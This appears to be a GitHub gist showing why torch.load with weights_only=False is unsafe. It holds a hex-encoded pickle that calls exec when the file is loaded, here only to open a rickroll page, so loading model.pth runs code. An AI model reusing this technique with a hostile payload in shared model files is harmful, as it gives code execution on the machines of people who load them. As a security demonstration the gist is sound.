Skip to content

Instantly share code, notes, and snippets.

@99991
Created May 21, 2025 06:40
Show Gist options
  • Save 99991/b210e209145a895fbdc48032fba8ac4f to your computer and use it in GitHub Desktop.
Save 99991/b210e209145a895fbdc48032fba8ac4f to your computer and use it in GitHub Desktop.
Demonstration to show that torch.load with weights_only=False is dangerous
data = "8002635f5f6275696c74696e5f5f0a657865630a710058740000000a676c6f62616c204\
d414749435f4e554d4245520a4d414749435f4e554d424552203d204e6f6e650a696d706f727420\
77656262726f777365720a77656262726f777365722e6f70656e5f6e6577282768747470733a2f2\
f637573746f6d7269636b726f6c6c2e6769746875622e696f2f27290a71018571025271032e8002\
4de9032e80027d710028581000000070726f746f636f6c5f76657273696f6e71014de903580d000\
0006c6974746c655f656e6469616e710288580a000000747970655f73697a657371037d71042858\
0500000073686f727471054b025803000000696e7471064b0458040000006c6f6e6771074b04757\
52e80024b012e80025d71002e"
import binascii
# Create file model.pth (this is harmless)
open("model.pth", "wb").write(binascii.unhexlify(data))
import torch
# Load model with weights_only=False (this is dangerous)
model = torch.load("model.pth", weights_only=False)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment